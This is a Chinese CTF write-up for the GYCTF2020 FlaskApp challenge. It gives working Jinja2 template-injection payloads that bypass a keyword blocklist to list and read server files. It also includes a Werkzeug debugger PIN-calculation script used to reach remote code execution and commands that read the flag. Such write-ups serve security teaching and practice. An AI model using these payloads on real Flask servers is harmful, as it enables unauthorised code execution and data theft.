[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

知识点:

ssti模板注入

jinja2中 控制结构 {% %} 变量取值 {{ }}

利用PIN码进行RCE

解题:

非预期:

直接用payload字符拼接绕过

先进入题目界面:

[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

就一个简单的base加密解密界面,根据题目,知道ssti,试了下,就是在先加密再在解密处存在ssti,依次尝试payload{{‘‘.__class__}}

但是发现奇怪的东西

[GYCTF2020]FlaskApp

再试了下常用的payload都不行,这里就需要之前一直没用过的{% %}姿势了,payload如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__==‘catch_warnings‘ %}
{{ c.__init__.__globals__[‘__builtins__‘].open(‘app.py‘,‘r‘).read() }}
{% endif %}{% endfor %}

得到源码,waf如下:

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

大概过滤了flag os system popen import eval chr request 等,而且会将字符转小写,所以没法通过lower方法或者base64绕过

使用payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘][‘__imp‘+‘ort__‘](‘o‘+‘s‘).listdir(‘/‘)}}{% endif %}{% endfor %}

得到:this_is_the_flag.txt

在用命令读取文件:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/this_is_the_fl‘+‘ag.txt‘,‘r‘).read()}}{% endif %}{% endfor %}

得到flag

预期解:

进入base解密解密,随便乱输,进入debug模式

需要六个数据来计算PIN码

1.运行app的用户名,读/etc/passwd
2.module name 一般固定为flask.app
3.getattr(app, "\_\_name\_\_", app.\_\_class\_\_.\_\_name\_\_)的结果。就是Flask
4.flask库下app.py的绝对路径,不是当前运行的app.py的路径,在debug模式下报错就能直接看见,该题为/usr/local/lib/python3.7/site-packages/flask/app.py
5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡,如果有多个网卡数字可能会变,这里为02:42:ac:10:af:4d,转十进制为 2485377871693
6.机器的id
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup,序列号为1那行
1:name=systemd:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d

首先获取mac地址:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/sys/class/net/eth0/address‘,‘r‘).read() }}{% endif %}{% endfor %}

得到:02:42:ac:10:af:4d,转十进制为 2485377871693方法:pythonprint(int(‘0242ac10af4d‘,16))得到2485377871693

再获取机器id,读取/proc/self/cgroup:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/proc/self/cgroup‘,‘r‘).read() }}{% endif %}{% endfor %}

得到:

结果 : 12:freezer:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 11:hugetlb:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 10:blkio:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 9:net_cls,net_prio:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 8:cpu,cpuacct:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 7:perf_event:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 6:pids:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 5:devices:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 4:rdma:/ 3:memory:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 2:cpuset:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 1:name=systemd:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 0::/system.slice/containerd.service

序列号为1那行
1:name=systemd:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 就是

全部凑齐之后就可以计算PIN了,脚本如下:

import hashlib
from itertools import chain
probably_public_bits = [
    ‘flaskweb‘,
    ‘flask.app‘,
    ‘Flask‘,
    ‘/usr/local/lib/python3.7/site-packages/flask/app.py‘,
]

private_bits = [
    ‘2485377871693‘,
    ‘4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d ‘
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode(‘utf-8‘)
    h.update(bit)
h.update(b‘cookiesalt‘)

cookie_name = ‘__wzd‘ + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b‘pinsalt‘)
    num = (‘%09d‘ % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = ‘-‘.join(num[x:x + group_size].rjust(group_size, ‘0‘)
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到pin码:883-071-427

再使用命令:

import os os.popen("ls -l /").read() os.popen("cat /this_is_the_flag.txt").read()

参考文章:

https://blog.csdn.net/Alexhcf/article/details/108400293

https://www.cnblogs.com/HacTF/p/8160076.html

[GYCTF2020]FlaskApp

上一篇:Mac上使用Charles对安卓10的APP进行抓包


下一篇:Android基础-Button点击事件(1.匿名内部类 2.内部类监听器 3.用本类实现activity 4.xml实现按钮点击事件)